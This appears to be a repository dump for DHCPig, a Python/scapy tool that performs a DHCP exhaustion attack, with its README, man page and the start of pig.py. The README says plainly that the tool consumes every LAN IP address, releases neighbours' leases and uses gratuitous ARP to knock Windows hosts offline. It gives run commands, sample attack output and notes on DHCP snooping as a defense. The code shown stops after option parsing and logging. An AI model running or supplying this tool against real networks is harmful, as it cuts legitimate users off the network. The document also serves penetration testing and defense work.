[
  {
    "path": "README.md",
    "content": "DHCPig\n======\n\nTags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy\n\nSUMMARY\n-------\n\nDHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs,\nrelease any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline.\n\nIt requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as \na parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..).\n\n\nWhen executed the script will perform the following actions:\n\n* Grab your Neighbors IPs before they do   \n\tListen for DHCP Requests from other clients if offer detected, respond with request for that offer.   \n\n* Request all available IP addresses in Zone   \n\tLoop and Send DHCP Requests all from different hosts & MAC addresses  \n\n* Find your Neighbors MAC & IP and release their IP from DHCP server   \n\tARP for all neighbors on that LAN, then send DHCPReleases to server   \n\t\n\nFinally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds)  and then \n\n\n* Knock all Windows systems offline   \n\tgratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay \noffline.  Linux systems will not give up IP even when another system on LAN is detected with same IP.\n\n\nPROTOCOL\n--------\n* __IPv4__\n\t * SEQUENCE\n\t\t  1. ----> DHCP_DISCOVER \n\t\t  2. <---- DHCP_OFFER    \n\t\t  3. ----> DHCP_REQUEST  \n\t\t  4. <---- DHCP_REPLY (ACK/NACK)\t\n\t * DHCPd snoop detection (DHCPd often checks if IP is in use)\n\t\t  * Check for ARP_Snoops \n\t\t  * Check for ICMP Snoops \n\n* __IPv6__\n\t* SEQUENCE\n\t\t1. ----> DHCP6_SOLICIT  \n\t\t2. <---- DHCP6_ADVERTISE \n\t\t3. ----> DHCP6_REQUEST   \n\t\t4. <---- DHCP6_REPLY    \n\t * DHCPd snoop detection (DHCPd often checks if IP is in use)\n\t  \t* Check for ICMPv6 Snoops \n\nUSAGE\n-----\n\tenhanced DHCP exhaustion attack plus.\n\t\n\tUsage:\n\t    pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>\n\t  \n\tOptions:\n\t    -h, --help                     <-- you are here :)\n\t    -v, --verbosity                ...  0 ... no         (3)\n\t                                        1 ... minimal\n\t                                       10 ... default\n\t                                       99 ... debug\n\t                                       \n\t    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)\n\t    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)\n\t    \n\t    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)\n    \t-S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)\n\t    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)\n\t    \n\t    -f, --fuzz                     ... randomly fuzz packets (off)\n\t\n\t    -t, --threads                  ... number of sending threads (1)\n\t    \n\t    -a, --show-arp                 ... detect/print arp who_has (off)\n\t    -i, --show-icmp                ... detect/print icmps requests (off)\n\t    -o, --show-options             ... print lease infos (off)\n\t    -l, --show-lease-confirm       ... detect/print dhcp replies (off)\n\t    \n\t    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)\n\t    -r, --neighbors-attack-release ... release all neighbor ips (off)\n\t    -n, --neighbors-scan-arp       ... arp neighbor scan (off)\n\t    \n\t    -x, --timeout-threads          ... thread spawn timer (0.4)\n\t    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)\n\t    -z, --timeout-dhcprequest      ... dhcp request timeout (2)\n\t    \n\t    -c, --color                    ... enable color output (off)\n\n\nEXAMPLE\n-------\n    # requires root privileges to open raw sockets and set the interface in promiscuous mode\n    sudo ./pig.py eth1\n\n    ./pig.py eth1\n    ./pig.py --show-options eth1\n    ./pig.py -x1 --show-options eth1\n    \n    ./pig.py -6 eth1\n    ./pig.py -6 --fuzz eth1\n    ./pig.py -6 -c -verbosity=1 eth1\n    ./pig.py -6 -c -verbosity=3 eth1\n    ./pig.py -6 -c -verbosity=100 eth1\n    \n    ./pig.py --neighbors-scan-arp -r -g --show-options eth1\n\nDEPENDENCIES\n-------\n    $ python -m pip install scapy\n    $ sudo apt-get install libpcap0.8\n \n\nCHANGELOG\n-----\n\n     1.6 : 2024-01 \n\t     * support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque\n\t 1.5 : 2017-1 \n\t     * Better support for WiFi.  pig no longer spoofs the ethernet frame src MAC address, just chaddr.  \n         * Updated DHCP fingerprint to match existing operating systems.  Some routers will only respond to known devices.\n         * Changed the BOOTP flag to broadcast from unicast.  FIOS routers will only respond if broadcast BOOTP option is set.\n         * Feedback welcome, pig is now running well on the networks we have tested on.\n\t1.0 : 2015-1\n         * more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output\n         * more options, double the fun: scapy fuzzing, ipv6 support\n         * more options, more fun: show options/show icmp/show arp\n         * fixed indents, beautify doc, eyefriendly one-line-logging\n\n\nACTION-SHOTS\n-------------\n\nIPv4\n\n\tx@<:/src/DHCPig# ./pig.py -c -v3  -l -a -i -o eth2\n\t[ -- ] [INFO] - using interface eth2\n\t[DBG ] Thread 0 - (Sniffer) READY\n\t[DBG ] Thread 1 - (Sender) READY\n\t[--->] DHCP_Discover\n\t[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1\n\t[--->] DHCP_Discover\n\t[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1\n\t[--->] DHCP_Discover\n\t[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1\n\t[<---] DHCP_Offer   00:0c:29:da:53:f9   0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]\n\t[DBG ]  * xid=154552584\n\t[DBG ]  * CIaddr='0.0.0.0'\n\t[DBG ]  * YIaddr='172.20.0.40'\n\t[DBG ]  * SIaddr='0.0.0.0'\n\t[DBG ]  * GIaddr='0.0.0.0'\n\t[DBG ]  * CHaddr='\\xde\\xad&K\\xd3@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\t[DBG ]  * Sname='ISCdhcpd'\n\t[DBG ]          * message-type  (2,)\n\t[DBG ]          * server_id     ('172.20.15.1',)\n\t[DBG ]          * lease_time    (60000,)\n\t[DBG ]          * subnet_mask   ('255.254.0.0',)\n\t[DBG ]          * router        ('172.20.15.1',)\n\t[DBG ]          * 39    ('\\x01\\x01\\x01\\x00\\xac\\x14\\x0f\\x01',)\n\t[--->] DHCP_Request 172.20.0.40\n\t[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1\n\t[--->] DHCP_Discover\n\t[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1\n\t^C[ -- ]  -----  ABORT ...  -----\n\t[DBG ] Waiting for Thread 0 to die ...\n\t[DBG ] Waiting for Thread 1 to die ...\n\n\nIPv6\n\n\tx@y:/src/DHCPig# ./pig.py -6 -c -v3  -l eth3\n\t[ -- ] [INFO] - using interface eth3\n\t[DBG ] Thread 0 - (Sniffer) READY\n\t[DBG ] Thread 1 - (Sender) READY\n\t[--->] v6_DHCP_Discover [cid:'\\x00\\x01\\x00\\x01QR\\xf3\\xc7\\xde\\xad#d\\xee\\xed']\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]\n\t[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]\n\t[--->] v6_DHCP_Discover [cid:'\\x00\\x01\\x00\\x01QR\\xf3\\xc8\\xde\\xad\\x00|\\xa8P']\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]\n\t[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]\n\t[--->] v6_DHCP_Discover [cid:'\\x00\\x01\\x00\\x01QR\\xf3\\xc8\\xde\\xad%\\x07\\nQ']\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]\n\t[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]\n\n\t\n\tx@y:/src/DHCPig# ./pig.py -6 -c -v3  -l -a -i -o eth3\n\t[ -- ] [INFO] - using interface eth3\n\t[DBG ] Thread 0 - (Sniffer) READY\n\t[DBG ] Thread 1 - (Sender) READY\n\t[--->] v6_DHCP_Discover [cid:'\\x00\\x01\\x00\\x01QR\\xf4\\x1d\\xde\\xad\\x00`wg']\n\t[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]\n\t[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429\n\t[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]\n\t[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>\n\t[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>\n\t[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]\n\t[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]\n\t[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]\n\t[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]\n\t[DBG ]  * <bound method DHCP6_Advertise.show of <DHCP6_Advertise  msgtype=ADVERTISE trid=0xfb5429\n\t[DBG ]  * DHCP6OptIA_NA  optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress  optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]\n\t[DBG ]  * DHCP6OptClientId  optcode=CLIENTID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>\n\t[DBG ]  * DHCP6OptServerId  optcode=SERVERID optlen=14 duid=<DUID_LLT  type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>\n\t[DBG ]  * DHCP6OptDNSServers  optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]\n\t[DBG ]  * DHCP6OptNISPServers  optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]\n\t[DBG ]  * DHCP6OptNISPDomain  optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>\n\t[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]\n\t[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]\n\t^C[ -- ]  -----  ABORT ...  -----\n\t[DBG ] Waiting for Thread 0 to die ...\n\t[DBG ] Waiting for Thread 1 to die ...\n\nMinimal Output (verbosity=1)\n\n\t. = DHCP_Discovery\n\t! = DHCP_Offer\n\t; = ICMP/ARP/DHCP_ACKs\n\tD = DEBUG output (show options, etc.)\n\tE = ERROR\n\tN = NOTICE / INFO\n\n\tx@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3\n\tWARNING: No route found for IPv6 destination :: (no default route?)\n\tNDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned\n\t.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD\n\t\n\tx@y:/src/DHCPig# ./pig.py -6 -c -v1  -l eth3\n\tNDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD\n\n\n\nDEFENSE\n-------\n\nmost common approach to defending DHCP exhaustion is via access layer switching or wireless controllers.  \n\nIn cisco switching simplest option is to enable DHCP snooping.  Snooping will defend against pool exhaustion,\nIP hijacking, and DHCP sever spoofing  all of which are used in DHCPig.   Based on examined traffic, DHCP \nsnooping will create a mapping table from IP to mac on each port.  User access ports are then restricted to only \nthe given IP.  Any DHCP server messages originating from untrusted ports are filtered.\n\n\nenable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing:\n\n* enable snooping \n\n    `ip dhcp snooping`\n    \n* specify which port your DHCP is associated with.  Most likely this is your uplink.  Doing the following will \nlimit DHCP server responses to only the specified port, so use after testing in lab environment.\n\n    `int fa0/1`  (or correct interface)\n\n    `ip dhcp snooping trust`\n\n* show status\n\n    `show ip dhcp snopping`\n\n    `show ip dhcp snopping binding`\n\n\n* additional info:\nhttp://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf\n\n\nLICENSE:\n--------\nThese scripts are all released under the GPL v2 or later.  For a full description of the licence, \nplease visit [http://www.gnu.org/licenses/gpl.txt](http://www.gnu.org/licenses/gpl.txt)\n\nDISCLAIMER:\n---------\nAll information and software available on this site are for educational purposes only. The author \nis no way responsible for any misuse of the information.  \n\n//Kevin\n\n//tintin\n"
  },
  {
    "path": "dhcpig.1",
    "content": ".TH \"DHCPIG\" \"1\" \" DHCPig Man Page\" \"Philippe Thierry\" \"June 2017\" \n.nh\n.ad l\n\n\n.SH NAME\n.PP\ndhcpig \\- DHCP exhaustion script using scapy network library\n\n\n.SH SYNOPSIS\n.PP\n\\fBdhcpig [options] <interface>\\fP\n\\fBdhcpig \\-h|\\-\\-help\\fP\n\n\n.SH DESCRIPTION\n.PP\nDHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs\non the LAN, stop new users from obtaining IPs, release any IPs in use, then\nfor good measure send gratuitous ARP and knock all windows hosts offline.\n\n.PP\nWhen executed the script will perform the following actions:\n\n.PP\nGrab your Neighbors IPs before they do\n   Listen for DHCP Requests from other clients if offer detected, respond with\n   request for that offer.\n\n.PP\nRequest all available IP addresses in Zone\n   Loop and Send DHCP Requests all from different hosts \\& MAC addresses\n\n.PP\nFind your Neighbors MAC \\& IP and release their IP from DHCP server\n   ARP for all neighbors on that LAN, then send DHCPReleases to server\n\n.PP\nFinally the script will then wait for DHCP exhaustion, (that is no received\nDHCP OFFERs for 10 seconds) and then\n\n.PP\nKnock all Windows systems offline\n   gratuitous ARP the LAN, and since no additional DHCP addresses are available\nthese windows systems should stay offline. Linux systems will not give up IP\neven when another system on LAN is detected with same IP.\n\n\n.SH OPTIONS:\n.PP\nThe options of DHCPig are the following. For each option, the default value or\ndefault behavior is set between parenthesis.\n\n.PP\n\\fB\\-h\\fP, \\fB\\-\\-help\\fP\n  show this help message and exit\n\n.PP\n\\fB\\-v, \\-\\-verbosity\\fP\n  Set verbosity level. Can be set to:\n    0 ... no         (3)\n    1 ... minimal\n   10 ... default\n   99 ... debug\n\n.PP\n\\fB\\-6, \\-\\-ipv6\\fP\n  DHCPv6 (off, DHCPv4 by default)\n\n.PP\n\\fB\\-1, \\-\\-v6\\-rapid\\-commit\\fP\n  enable RapidCommit (2way ip assignment instead of 4way) (off)\n\n.PP\n\\fB\\-s, \\-\\-client\\-src\\fP\n  a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)\n\n.PP\n\\fB\\-S, \\-\\-ethernet\\-mac\\fP\n  Use identical MAC addresses on the Ethernet frame and DHCP frame\n\n.PP\n\\fB\\-O, \\-\\-request\\-options\\fP\n  option\\-codes to request e.g. 21,22,23 or 12,14\\-19,23 (Default: 0\\-80)\n\n.PP\n\\fB\\-f, \\-\\-fuzz\\fP\n  randomly fuzz packets (off)\n\n.PP\n\\fB\\-t, \\-\\-threads\\fP\n  number of sending threads (1)\n\n.PP\n\\fB\\-a, \\-\\-show\\-arp\\fP\n  detect/print arp who\\_has (off)\n\n.PP\n\\fB\\-i, \\-\\-show\\-icmp\\fP\n  detect/print icmps requests (off)\n\n.PP\n\\fB\\-o, \\-\\-show\\-options\\fP\n  print lease infos (off)\n\n.PP\n\\fB\\-l, \\-\\-show\\-lease\\-confirm\\fP\n  detect/print dhcp replies (off)\n\n.PP\n\\fB\\-g, \\-\\-neighbors\\-attack\\-garp\\fP\n  knock off network segment using gratious arps (off)\n\n.PP\n\\fB\\-r, \\-\\-neighbors\\-attack\\-release\\fP\n  release all neighbor ips (off)\n\n.PP\n\\fB\\-n, \\-\\-neighbors\\-scan\\-arp\\fP\n  arp neighbor scan (off)\n\n.PP\n\\fB\\-x, \\-\\-timeout\\-threads\\fP\n  thread spawn timer (0.4)\n\n.PP\n\\fB\\-y, \\-\\-timeout\\-dos\\fP\n  DOS timeout (8) (wait time to mass grat.arp)\n\n.PP\n\\fB\\-z, \\-\\-timeout\\-dhcprequest\\fP\n  dhcp request timeout (2)\n\n.PP\n\\fB\\-c, \\-\\-color\\fP\n  enable color output (off)\n\n\n.SH HISTORY\n.PP\nJune 2017, Man page originally compiled by Philippe Thierry (phil at reseau\\-libre dot\ncom)\n"
  },
  {
    "path": "pig.py",
    "content": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nenhanced DHCP exhaustion attack.\n\nDoc:\n    http://github.com/kamorin/DHCPig\n\n\nUsage:\n    pig.py [-h -v -6 -1 -s -S -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>\n  \nOptions:\n    -h, --help                     <-- you are here :)\n    -v, --verbosity                ...  0 ... no         (3)\n                                        1 ... minimal\n                                       10 ... default\n                                       99 ... debug\n                                       \n    -6, --ipv6                     ... DHCPv6 (off, DHCPv4 by default)\n    -1, --v6-rapid-commit          ... enable RapidCommit (2way ip assignment instead of 4way) (off)\n    \n    -s, --client-src               ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)\n    -S, --ethernet-mac             ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)\n    -O, --request-options          ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)\n    \n    -f, --fuzz                     ... randomly fuzz packets (off)\n\n    -t, --threads                  ... number of sending threads (1)\n    \n    -a, --show-arp                 ... detect/print arp who_has (off)\n    -i, --show-icmp                ... detect/print icmps requests (off)\n    -o, --show-options             ... print lease infos (off)\n    -l, --show-lease-confirm       ... detect/print dhcp replies (off)\n    \n    -g, --neighbors-attack-garp    ... knock off network segment using gratious arps (off)\n    -r, --neighbors-attack-release ... release all neighbor ips (off)\n    -n, --neighbors-scan-arp       ... arp neighbor scan (off)\n    \n    -x, --timeout-threads          ... thread spawn timer (0.4)\n    -y, --timeout-dos              ... DOS timeout (8) (wait time to mass grat.arp)\n    -z, --timeout-dhcprequest      ... dhcp request timeout (2)\n    \n    -c, --color                    ... enable color output (off)\n\"\"\"\n\nfrom scapy.all import *\nimport string, binascii, signal, sys, threading, socket, struct, getopt\nfrom sys import stdout\n\n\n\nclass Colors:\n    class Palette:\n        '''\n        dummy, as python 2.5 does not support namedtuples\n        '''\n        black = None\n        red = None\n        green = None\n        yellow = None\n        blue = None\n        purple = None\n        cyan = None\n        grey = None\n#   forecolor\n    endc = \"\\033[0m\"\n    black = \"\\033[30m\"\n    red = \"\\033[31m\"\n    green = \"\\033[32m\"\n    yellow = \"\\033[33m\"\n    blue = \"\\033[34m\"\n    purple = \"\\033[35m\"\n    cyan = \"\\033[36m\"\n    grey = \"\\033[37m\"\n#   back color\n    background = Palette\n    background.black = \"\\033[40m\"\n    background.red = \"\\033[41m\"\n    background.green = \"\\033[42m\"\n    background.yellow = \"\\033[43m\"\n    background.blue = \"\\033[44m\"\n    background.purple = \"\\033[45m\"\n    background.cyan = \"\\033[46m\"\n    background.grey = \"\\033[47m\"\n\n#   attribs\n    bold = \"\\033[1m\"\n    underline = \"\\033[4m\"\n    blink = \"\\033[5m\"\n    invert = \"\\033[7m\"\n\n'''\nDefaults\n'''\nconf.checkIPaddr = False\nconf.iface = \"lo\"\nconf.verb = False\nSHOW_ARP = True\nSHOW_ICMP = False\nSHOW_DHCPOPTIONS = False\nSHOW_LEASE_CONFIRM = False\nMODE_IPv6 = False\nMODE_FUZZ = False\nDO_GARP = False\nDO_RELEASE = False\nDO_ARP = False\nMAC_LIST = []\nTIMEOUT={}\nTIMEOUT['dos']=8    \nTIMEOUT['dhcpip']=2\nTIMEOUT['timer']=0.4\nDO_COLOR = False \nETHERNET_MAC = False\nCOLORSCHEME = {'<--':Colors.green+\"%s\"+Colors.endc,\n               '<-':Colors.blue+\"%s\"+Colors.endc,\n               '->':Colors.cyan+\"%s\"+Colors.endc,\n               '-->':Colors.grey+\"%s\"+Colors.endc,\n               '?':Colors.yellow+\"%s\"+Colors.endc,\n               'DEBUG':Colors.purple+\"%s\"+Colors.endc,\n               'NOTICE': Colors.bold+Colors.red+\"%s\"+Colors.endc,\n               'ERROR': Colors.bold+Colors.red+\"%s\"+Colors.endc,\n               'WARNING': Colors.bold+Colors.yellow+\"%s\"+Colors.endc,\n               None:'%s'}\nMSGSCHEME = {'<--'      :\"[<---] %s\",   # inbound\n             '-->'      :\"[--->] %s\",   # outpund\n             '->'      :\"[ -> ] %s\",    # icmp / arp out\n             '<-'      :\"[ <- ] %s\",    # icmp / arp in\n             '?'        :\"[ ?? ] %s\",   \n             'DEBUG'    :\"[DBG ] %s\",\n             'NOTICE'   :\"[ -- ] %s\",\n             'WARNING'  :\"[ !! ] %s\",\n             'ERROR'    :\"[XXXX] %s\",\n             }\nMSGSCHEME_MIN = {'<--'  :\"!\",\n             '-->'      :\".\",\n             '->'       :\":\",\n             '<-'       :\";\",\n             '?'        :\"?\",\n             'DEBUG'    :\"D\",\n             'NOTICE'   :\"N\",\n             'WARNING'  :\"W\",\n             'ERROR'    :\"E\",\n             }\nDO_v6_RC = False\nVERBOSITY = 3\nTHREAD_CNT = 1\nTHREAD_POOL = []\nREQUEST_OPTS = range(80)\n\n\ndef checkArgs():\n    global SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, TIMEOUT, MODE_IPv6, MODE_FUZZ, DO_ARP, DO_GARP, DO_RELEASE, MAC_LIST, ETHERNET_MAC, DO_COLOR,DO_v6_RC, VERBOSITY,THREAD_CNT,SHOW_LEASE_CONFIRM,REQUEST_OPTS\n    try:\n        opts, args = getopt.getopt(sys.argv[1:], \"haiolx:y:z:6fgrnsSc1v:t:O:\", [\"help\",\"show-arp\",\"show-icmp\",\n                                                                                  \"show-options\",\"timeout-threads=\",\"timeout-dos=\",\n                                                                                  \"timeout-dhcprequest=\", \"neighbors-scan-arp\",\n                                                                                  \"neighbors-attack-release\", \"neighbors-attack-garp\",\n                                                                                  \"fuzz\",\"ipv6\",\"client-src=\",\"ethernet-mac\",\"color\",\"v6-rapid-commit\",\n                                                                                  \"verbosity=\",\"threads=\", \"show-lease-confirm\",\"request-options=\"])\n    except getopt.GetoptError as err:\n        # print help information and exit:\n        print(str(err))  # will print something like \"option -a not recognized\"\n        usage()\n        sys.exit(2)\n    for o,a in opts:\n        if o in (\"-h\", \"--help\"):\n            usage()\n            sys.exit()\n        elif o in (\"-a\", \"--show-arp\"):\n            SHOW_ARP = False\n        elif o in (\"-i\", \"--show-icmp\"):\n            SHOW_ICMP = True\n        elif o in (\"-o\", \"--show-options\"):\n            SHOW_DHCPOPTIONS = True\n        elif o in (\"-l\", \"--show-lease-confirm\"):\n            SHOW_LEASE_CONFIRM = True\n        elif o in (\"-x\", \"--timeout-threads\"):\n            TIMEOUT['timer'] = float(a)\n        elif o in (\"-y\", \"--timeout-dos\"):\n            TIMEOUT['dos'] = float(a)\n        elif o in (\"-z\", \"--timeout-dhcprequest\"):\n            TIMEOUT['dhcpip'] = float(a)\n        elif o in (\"-6\", \"--ipv6\"):\n            MODE_IPv6 = True\n        elif o in (\"-f\", \"--fuzz\"):\n            MODE_FUZZ = True\n        elif o in (\"-g\", \"--neighbors-attack-garp\"):\n            DO_GARP = True\n        elif o in (\"-r\", \"--neighbors-attack-release\"):\n            DO_RELEASE = True\n        elif o in (\"-n\", \"--neighbors-scan-arp\"):\n            DO_ARP = True\n        elif o in (\"-s\", \"--client-src\"):\n            MAC_LIST = a.strip().split(\",\")\n        elif o in (\"-S\", \"--ethernet-mac\"):\n            ETHERNET_MAC = True\n        elif o in (\"-c\", \"--color\"):\n            DO_COLOR = True\n        elif o in (\"-1\", \"--v6-rapid-commit\"):\n            DO_v6_RC = True\n        elif o in (\"-v\", \"--verbosity\"):\n            VERBOSITY = int(a)\n            if VERBOSITY >= 99:\n                conf.verb = True\n        elif o in (\"-t\", \"--threads\"):\n            THREAD_CNT = int(a)\n        elif o in (\"-O\", \"--request-options\"):\n            REQUEST_OPTS = []\n            for o in a.split(\",\"):\n                if \"-\" in o:\n                    x = o.split(\"-\")\n                    if len(x) == 2:\n                        REQUEST_OPTS += range(int(x[0]),int(x[1]))\n                    else:\n                        print(\"Error in option - request-options\")\n                        usage()\n                        exit()\n                else:\n                    REQUEST_OPTS.append(int(o))\n#                   REQUEST_OPTS = [int(o) for o in REQUEST_OPTS]\n        else:\n            assert False, \"unhandled option\"\n    if len(args) == 1:\n        if WINDOWS:\n            conf.iface = IFACES.dev_from_name(args[0])\n        else:\n            conf.iface = args[0]\n    else:\n        usage()\n        sys.exit(2)\n        \n    if conf.verb:\n        print(\"\"\"---------------------[OPTIONS]-----------\n        IPv6                            %s\n        fuzz                            %s\n\n        DONT_SHOW_ARP                   %s\n        SHOW_ICMP                       %s\n        SHOW_DHCPOPTIONS                %s\n        SHOW_LEASE_CONFIRMATION         %s\n        \n        REQUEST_DHCP_Options            %s\n\n        timeout-threads                 %s\n        timeout-dos                     %s\n        timeout-dhcprequest             %s\n\n        neighbors-attack-garp           %s\n        neighbors-attack-release        %s\n        neighbors-scan-arp              %s\n        \n        neighbors-scan-arp              %s\n        \n        color                           %s\n-----------------------------------------\n        \"\"\"%(MODE_IPv6, MODE_FUZZ, SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, SHOW_LEASE_CONFIRM, repr(REQUEST_OPTS),\n             TIMEOUT['timer'], TIMEOUT['dos'], TIMEOUT['dhcpip'],\n             DO_GARP, DO_RELEASE, DO_ARP, repr(MAC_LIST), DO_COLOR))\n\n\ndef LOG(message=None, type=None):\n    if VERBOSITY <= 0:\n        return\n    elif VERBOSITY == 1:\n#       minimal verbosity ...   dot style output\n        if type in MSGSCHEME_MIN:\n            message = MSGSCHEME_MIN[type]\n            if DO_COLOR and type in COLORSCHEME:\n                message = COLORSCHEME[type]%message\n            stdout.write(\"%s\"%message)\n            stdout.flush()\n    else:\n        if type in MSGSCHEME:\n            message = MSGSCHEME[type]%message\n        if DO_COLOR and type in COLORSCHEME:\n            message = COLORSCHEME[type]%message\n        if MODE_FUZZ:\n            stdout.write(\"[FUZZ] %s\\n\"% (message))\n        else:\n            stdout.write(\"%s\\n\"% (message))\n        stdout.flush()\n\n\ndef signal_handler(signal, frame):\n    LOG(type=\"NOTICE\", message= ' -----  ABORT ...  -----')\n    i = 0\n    for t in THREAD_POOL:\n        t.kill_received = True\n        LOG(type=\"DEBUG\", message= 'Waiting for Thread %d to die ...'%i)\n        i+=1\n    sys.exit(0)\n\n# 